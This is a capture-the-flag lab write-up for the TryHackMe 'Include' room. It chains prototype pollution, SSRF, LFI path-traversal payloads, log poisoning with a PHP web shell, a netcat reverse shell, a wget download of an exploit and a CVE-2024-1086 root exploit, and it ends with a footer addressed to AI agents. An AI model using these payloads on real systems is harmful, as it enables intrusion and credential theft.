# Include

{% embed url="<https://tryhackme.com/r/room/include>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Machine IP`**: 10.10.147.179

**`Hosts file entry`**: echo '10.10.147.179 include.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```python
nmap -p- -A -v --min-rate 100 -oN include_thm -Pn include.thm

Nmap scan report for include.thm (10.10.147.179)
Host is up (0.16s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a6:d8:1b:5d:41:12:20:65:ef:2d:64:7f:c9:54:02:a5 (RSA)
|   256 35:42:b2:ff:b5:e2:83:40:eb:14:d1:1b:9b:8e:ee:90 (ECDSA)
|_  256 76:75:5c:a8:63:b4:2b:d7:59:51:36:8a:2b:f9:59:23 (ED25519)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL UIDL STLS AUTH-RESP-CODE PIPELINING CAPA TOP RESP-CODES
143/tcp   open  imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more LOGINDISABLEDA0001 have SASL-IR Pre-login IDLE LITERAL+ listed post-login STARTTLS OK capabilities LOGIN-REFERRALS ID IMAP4rev1 ENABLE
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_imap-capabilities: more have AUTH=LOGINA0001 SASL-IR Pre-login IMAP4rev1 LITERAL+ listed post-login OK IDLE capabilities LOGIN-REFERRALS ID AUTH=PLAIN ENABLE
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN LOGIN) UIDL PIPELINING AUTH-RESP-CODE USER CAPA TOP RESP-CODES
4000/tcp  open  http     Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/3%OT=22%CT=1%CU=44147%PV=Y%DS=2%DC=T%G=Y%TM=665E0
OS:60C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10A%TI=
OS:Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104
OS:%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=
OS:M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4
OS:B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 13.190 days (since Tue May 21 19:02:26 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   157.19 ms 10.11.0.1
2   157.40 ms include.thm (10.10.147.179)
```

From the scan we can see that port **`4000`** and **`50000`** have **`web services`** running on them and also there is a **`host`** named **`mail.filepath.lab`**.

**`Checking out port 4000`**:

<figure><img src="/files/Yc2sdnCBf8AuJKcQ5b2n" alt=""><figcaption></figcaption></figure>

We can now do some **`directory busting`**:

**`Command`**:

```python
dirsearch -u http://include.thm:4000/
```

<div align="left"><figure><img src="/files/ESq8tACquEamJ3TrAZ7N" alt=""><figcaption></figcaption></figure></div>

The **`/signin`** path is the same as the **`root`** of the website.

Now let us check out **`50000`**.

**`Checking out port 50000`**:

<figure><img src="/files/d5TBhoaUh42LoBFvVGDz" alt=""><figcaption></figcaption></figure>

We have a **`Login`** page too:

<figure><img src="/files/F8W2D1sQMYAt3XdC7sTe" alt=""><figcaption></figcaption></figure>

We can go ahead and **`directory bust`** this site:

**`Command`**:

```python
dirsearch -u http://include.thm:50000/
```

<div align="left"><figure><img src="/files/zAWp2VAY4L0PhR1GR7wc" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/rkEDqkytdZat2n7y6S9d" alt=""><figcaption></figcaption></figure></div>

At the moment we are on the **`/login.php`**, we also have a **`/dashboard.php`** & a **`/profile.php`** that we would be able to access once we manage to **`login`** to the **`SysMon`** portal. There is a **`/uploads`** & a **`/templates`** path too.

The **`/uploads`** path:

<div align="left"><figure><img src="/files/PVWwuRCXFPiyzYY7J6fG" alt=""><figcaption></figcaption></figure></div>

The **`/templates`** path:

<div align="left"><figure><img src="/files/WoX6kVEMlUso56DhGyte" alt=""><figcaption></figcaption></figure></div>

There is nothing interesting in these paths.

We can now go back to exploring port **`4000`**:

<figure><img src="/files/vQpAmvzOTsSVxpkuqqRZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gv9Qxb4nvN6WZl7aBG8P" alt=""><figcaption></figcaption></figure>

We can check out our profile by clicking on **`View Profile`**.

We have an entry that says: **`isAdmin: false`** and also we have an option to recommend an activity:

<figure><img src="/files/S9P6NRIyW5R8xNkLdHLe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HGT6aXcACqGb1WhCFZLa" alt=""><figcaption></figcaption></figure>

Now we can try to set the **`isAdmin`** to **`true`** by recomending it is an activity:

<figure><img src="/files/e7sYSwZZrMRTAnkLhiua" alt=""><figcaption></figcaption></figure>

Upon clicking on **`Recommend Activity`** we notice these changes:

<figure><img src="/files/KeMhQjXB4fbjnoUeZigY" alt=""><figcaption></figcaption></figure>

The **`isAdmin`** value is now set to **`true`**, which means we have made ourselves an **`admin`**. Doing so also gave us **`two`** new options on the website that wasn't there before by default, that is **`API`** & **`Settings`**.

What we did here is **`Prototype Pollution`**. Prototype Pollution is a critical vulnerability that can allow attackers to manipulate an application's **`JavaScript objects`** and **`properties`**, leading to serious security issues such as unauthorized access to data, privilege escalation, and even remote code execution.

In this case from the **`Nmap Scan`** we know that the **`server`** running on port **`4000`**, is **`Node.js`**. So the **`server-side code`** running on the application is obviously **`JavaScript`**. If user inputs are directly merged into objects without sanitization, it leads to **`modification of prototypes`** and this is what we did above.

**`Checking out the API option`**:

We are presented with an **`API Dashboard`** and it says a **`GET request`** to this endpoint: **`http://127.0.0.1:5000/getAllAdmins101099991`** will give us a response like this:

```python
{
    "ReviewAppUsername": "admin",
    "ReviewAppPassword": "xxxxxx",
    "SysMonAppUsername": "administrator",
    "SysMonAppPassword": "xxxxxxxxx",
}
```

&#x20;We get the **`SysMon portal`** **`password`** and it says the username is **`administrator`**. Once we get the password we would be able to login to the portal on port **`50000`**:

<figure><img src="/files/jJUW4CSsMl24npn0zagg" alt=""><figcaption></figcaption></figure>

But the request has to be sent to the machine's **`localhost`** on port **`5000`**.

Let us now check out the **`Settings`** option:

<figure><img src="/files/BruZs7YsfLT3a6o3F5Bn" alt=""><figcaption></figcaption></figure>

It lets us **`update`** the **`banner image`**.&#x20;

We can now try putting this as the **`URL`**: **`http://127.0.0.1:5000/getAllAdmins101099991`** to see what we are presented with post clicking on **`Update Banner Image`**:

<div align="left"><figure><img src="/files/hrNrQSzJxyGFVnvWjM3N" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/zl917uy0vG0gPtoMHUc7" alt=""><figcaption></figcaption></figure>

It gave us this **`base64 encoded`** string:

```python
eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0=
```

**`Decoding it`**:

**`Command`**:

```python
echo -n eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0= | base64 -d
```

<figure><img src="/files/nnyErZXmfvBfkAnWYAos" alt=""><figcaption></figcaption></figure>

We have now got the **`SysMonAppPassword`**.&#x20;

What we just did is nothing but **`SSRF`**. **`Server-Side Request Forgery (SSRF)`** is a vulnerability where an attacker can make a **`server-side application`** send **`requests`** to an unintended location. This can lead to fetching the **`internal resources`** which is typically inaccessible from outside the server’s internal network, potentially exposing **`sensitive information`**.

In this case we were able to reach out to those **`API endpoints`** via an **`external input`**.

**`Logging in to the portal on port 50000`**:

<figure><img src="/files/XnbZ7TA9UlLb9K1bfrVI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oCKbUN7e9xAGyFxRjHCc" alt=""><figcaption></figcaption></figure>

The **`first flag`** can be found here. We are on the **`/dashboard.php`** endpoint now.

From the initial directory busting that we did for the **`50000`** port, we also had a **`/profile.php`** endpoint. Let us start by checking out the **`source code`** of the dashboard page:

<figure><img src="/files/RY63iSgLSB5NcY7JLJbl" alt=""><figcaption></figcaption></figure>

The **`/profile.php`** endpoint is being referred to in the source code.&#x20;

We can now check it out:

<figure><img src="/files/6NuIpGAGUBHi1WtsV6wI" alt=""><figcaption></figcaption></figure>

**`The URL`**:&#x20;

```python
http://include.thm:50000/profile.php?img=profile.png
```

There is a **`parameter`** named **`img`**. By looking at this the first thing that comes to our mind is **`LFI (Local File Inclusion)`**.

We can try to **`automate`** the process of exploiting the vulnerability by using **`wfuzz`**.

The **`wordlist`** that we will be using:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt>" %}

This is a really **`common`** and **`famous wordlist`** that gives us valid hits in most of the cases.

**`Using wfuzz to find LFI`**:

**`Command`**:

```python
wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b "PHPSESSID=l5s8qnq3s84p0i4h2f1lcg5glj" http://include.thm:50000/profile.php\?img\=FUZZ
```

**`Switches`** explanation:

```python
-c: Output with colors
-z file: Wordlist
-b: Cookie
```

Since the site we are **`fuzzing`** is behind a **`login`**, using the **`cookie`** in the **`wfuzz`** command plays a crucial role as this is how the server knows that the **`requests`** coming from the **`tool`** are **`authenticated`**.

To fetch the cookie we can **`Inspect`** the page and under **`Storage`** is where we find it:

<figure><img src="/files/QprXBc1p8I6IEEKQRZzX" alt=""><figcaption></figcaption></figure>

The tool injects **`payloads`** at the position where the **`FUZZ keyword`** is placed.&#x20;

<figure><img src="/files/ywWDGz7Ek1OgPs72oxQ7" alt=""><figcaption></figcaption></figure>

And we have got **`successful`** hits, a few of them are:

<figure><img src="/files/75IkifEJ3KGaNbG2tteP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EmR6qWSfzRVqLzNl51Fh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kLHdzmX9bv6FZ8yRu9MQ" alt=""><figcaption></figcaption></figure>

The moment we see different values in the **`Lines`**, **`Words`** & the **`Chars`** columns, that is how we know the **`payload`** is **`valid`**.&#x20;

**`One`** out of the bunch of valid **`payloads`**:

```python
....//....//....//....//....//....//....//....//....//etc/passwd
```

Let us give this a try:

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//etc/passwd
```

<figure><img src="/files/AuvGJNelObpKQC2ECHzR" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/vKEjS8SMrzB2R2U3UUXk" alt=""><figcaption></figcaption></figure></div>

It worked!!

Now since we have **`LFI`**, this can be converted to an **`RCE (Remote Code Execution)`**

**`LFI to RCE`**:

**`Method 1: LFI to RCE via Log Poisoning`**

A **`blog`** that we can check out:

{% embed url="<https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6>" %}

**`Common log files in Linux`**:

{% embed url="<https://www.netsurion.com/articles/top-5-linux-log-file-groups-in-var-log>" %}

<figure><img src="/files/hfmcMu3Eu9DdtEXPW7T7" alt=""><figcaption></figcaption></figure>

The **`/var/log/auth.log`** log file is used by various authentication services, including **`SSH`**.

Logs related to **`SSH`** activities, such as session starts, stops, authentication attempts etc., will be **`logged`**.&#x20;

We can now **`traverse`** to the log file:

**`The payload`**:

```python
....//....//....//....//....//....//....//....//....//var/log/auth.log
```

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log
```

<figure><img src="/files/p3UU91eLQTHICpbFAced" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pCTLInblao5R81jikpVO" alt=""><figcaption></figcaption></figure>

Now we can try to make **`fake attempts`** to login via **`SSH`** and this should be getting **`logged`** in the **`auth.log`** file:

<figure><img src="/files/OLgklL0pTkzM0tKPdmSf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9NdeL1xPhwXdTkWa9eeW" alt=""><figcaption></figcaption></figure>

It is indeed getting **`logged`** as expected.

Now, we can try to insert a **`PHP payload`** as the **`user`** in the **`SSH`** command. This too, should get **`logged`** just like the **`fake`** **`SSH`** logins we did earlier with the user **`test`**.

{% embed url="<https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/rce#simple-php-web-shell>" %}

**`The payload`**:

```python
<?php echo shell_exec($_GET['cmd']); ?>
```

**`Command`**:

```python
ssh '<?php echo shell_exec($_GET['cmd']); ?>'@include.thm
```

<div align="left"><figure><img src="/files/FomsasloiLBZ0G3M2wDZ" alt=""><figcaption></figcaption></figure></div>

Unfortunately this doesn't work as this has been patched in the latest versions of **`SSH`**. We get the error: **`remote username contains invalid characters`**.

**`Note`**:

I had come across a question asked in **`Stack Overflow`** based on the above error and an answer mentioned that we could use **`Hydra`** to perform the **`poisoning`** successfully.

{% embed url="<https://stackoverflow.com/questions/77948173/how-to-perform-ssh-log-poisoning-for-rce-with-lfi-using-php-system-call-in-usern>" %}

**`Using Hydra to achieve RCE via the SSH protocol`**:

The logic here too remains the same as above, we can insert a `PHP payload` as the value for the `-l` switch of `Hydra` which is nothing but the `login username` and since we are are using it against the `SSH` service, that too will get logged in the `auth.log` file and this would lead to `RCE`.

**`Command`**:

```python
hydra -l '<?php echo shell_exec($_GET['cmd']); ?>' -p test include.thm ssh -V
```

<figure><img src="/files/6p2QrRkjoHqPJvv4Jr0c" alt=""><figcaption></figcaption></figure>

Now let us check out the **`log`** file:

<figure><img src="/files/FrJsWa1FTJVwf6kHWBte" alt=""><figcaption></figcaption></figure>

It has been **`logged`**.

Now we should have **`RCE`**, running **`ifconfig`**:

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log&cmd=ifconfig
```

<figure><img src="/files/QNn3mJsBKIeB9NPU0z8X" alt=""><figcaption></figcaption></figure>

It worked!!

**`Method 2: LFI to RCE via MAIL (SMTP)`**:

Common **`log`** files in **`Linux`**:

{% embed url="<https://www.netsurion.com/articles/top-5-linux-log-file-groups-in-var-log>" %}

<figure><img src="/files/FZWmm9q52jluc5WhdzjZ" alt=""><figcaption></figcaption></figure>

Since we have **`SMTP`** open, we can send a **`mail`** to test if it is getting **`logged`**. It should be getting logged as all email related activities are logged in the **`/var/log/mail.log`** file.

**`The payload`**:

```python
....//....//....//....//....//....//....//....//....//var/log/mail.log
```

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log
```

**`Manual Exploitation`**:

We can send a **`test email`** by connecting to port **`25`** (**`SMTP`**):

<div align="left"><figure><img src="/files/dyFJvRlLXSIuVAWbANUB" alt=""><figcaption></figcaption></figure></div>

And indeed it is getting **`logged`** as expected:

<figure><img src="/files/Icr18IHw26zmwYHaIRXn" alt=""><figcaption></figcaption></figure>

Now we can put a **`PHP`** payload in **`mail from/rcpt to`** and this would get logged too, which would lead to **`RCE`**:

<div align="left"><figure><img src="/files/3o9Yktqd3mO3XewnOgbw" alt=""><figcaption></figcaption></figure></div>

We get this error: **`501 5.1.7 Bad sender address syntax`**.

But let us check if it got **`logged`**:

<figure><img src="/files/48cRUMQVUjMl6hv59xrI" alt=""><figcaption></figcaption></figure>

And it did get **`logged`**.&#x20;

Using **`ifconfig`** to check if **`RCE`** works:

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=ifconfig
```

<div align="left"><figure><img src="/files/Vdto4rMPaJPB0mRt7NEK" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/Wgd2J2LJK61rpB5KOrEj" alt=""><figcaption></figcaption></figure></div>

It did work and we have got the **`output`** of the **`ifconfig`** command. Now  we can run **`ls -la`** and we will be able to see the **`second flag`** and the same can be **`cat`** ed out via the **`webshell`** itself.

<figure><img src="/files/bdTYyMjyAM81F52WFWaL" alt=""><figcaption></figcaption></figure>

**`Use - cat 505eb0fb8a9f32853b4d955e1f9123ea.txt`**:

<div align="left"><figure><img src="/files/SrJrFPFowkfg3efLtZhY" alt=""><figcaption></figcaption></figure></div>

**`Using swaks tool to send the mail to achieve RCE`**:

**`Note`**:

I will be showing this post **`terminating`** the machine. This way we are making sure we start on a **`fresh`** machine and by doing so the **`webshell`** that we got from **`manual exploitation`**, won't even be in the picture. Make sure to **`update`** the **`hosts`** file entry with the **`new IP`**.

We now have nothing logged in the **`/var/log/mail.log`**:

<figure><img src="/files/nkBPWQ8PBSDbmGlBCaUd" alt=""><figcaption></figcaption></figure>

Now we can use **`swaks`**:

**`Command`**:

```python
swaks --to '<?php echo shell_exec($_GET['cmd']); ?>'@test.com --from test@test.com --server include.thm --body "test"
```

<figure><img src="/files/52AWhFhy2xx95ThOCQHS" alt=""><figcaption></figcaption></figure>

Checking the **`log`** file:

<figure><img src="/files/5JDWxhF719yh8nEUQTzM" alt=""><figcaption></figcaption></figure>

&#x20;It has got **`logged`**.

Now onto the **`RCE`** yet again:

<figure><img src="/files/3R8gzvePtPOjJHcdGaeU" alt=""><figcaption></figcaption></figure>

We have got the output of **`ifconfig`**.

We can also use this **`PHP payload`** to get **`RCE`** via **`SMTP`**:

**`The payload`**:

```python
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
```

<figure><img src="/files/nSwEQmARvogGjBBPt45E" alt=""><figcaption></figcaption></figure>

**`Using a reverse shell in the webshell`**:

**`Command`**:

```python
busybox nc 10.11.89.39 443 -e sh  //The IP here is the tun0 interface IP
```

<figure><img src="/files/ut7SEa5aujj7DDFJJwDi" alt=""><figcaption></figcaption></figure>

Setting up a listener on port **`443`**:

<div align="left"><figure><img src="/files/ScVnQjWMUthruiT3pv99" alt=""><figcaption></figcaption></figure></div>

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=busybox nc 10.11.89.39 443 -e sh
```

<div align="left"><figure><img src="/files/Te8WGkme6Qk8zXMIbGy9" alt=""><figcaption></figcaption></figure></div>

We indeed get the **`connection`**.&#x20;

Now we can **`upgrade the shell`** a little by running this:

**`Command`**:&#x20;

```python
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

**`Privilege Escalation via CVE-2024-1086 (Optional)`**:

{% embed url="<https://github.com/Notselwyn/CVE-2024-1086>" %}
CVE-2024-1086
{% endembed %}

<figure><img src="/files/eO0J5ERKZc2C2QkvzUi6" alt=""><figcaption></figcaption></figure>

The **`kernel`** on the machine is **`5.15.0-1055-aws`**.&#x20;

**`Command`**:

```python
uname -r
```

<div align="left"><figure><img src="/files/GGZ8ndyvTs6ibj0UKiTv" alt=""><figcaption></figcaption></figure></div>

The machine is most likely **`vulnerable`**.

Downloading the exploit from the **`Releases`** section in **`GitHub`**:

<div align="left"><figure><img src="/files/Y90ljYWScEpuvP1EuPMU" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/C9okOYdHurDDL5qNQDKa" alt=""><figcaption></figcaption></figure></div>

Sending it to the **`target machine`** post setting up a **`python server`**:

<figure><img src="/files/yI1ixLqUMFhGoD5ZvUz3" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/OnErQRJqksBOdyyOsTSb" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```python
wget http://10.11.89.39:4545/exploit  //The IP here is the tun0 interface IP
```

<figure><img src="/files/8qThJ9XMbbitC9fc7Awv" alt=""><figcaption></figcaption></figure>

Setting it as an **`executable`** and **`running`** it:

<figure><img src="/files/cF21d2gvBgi8YxyKvBwD" alt=""><figcaption></figcaption></figure>

We are **`root`**.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://manav-g-krishna.gitbook.io/tryhackme-writeups/include.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.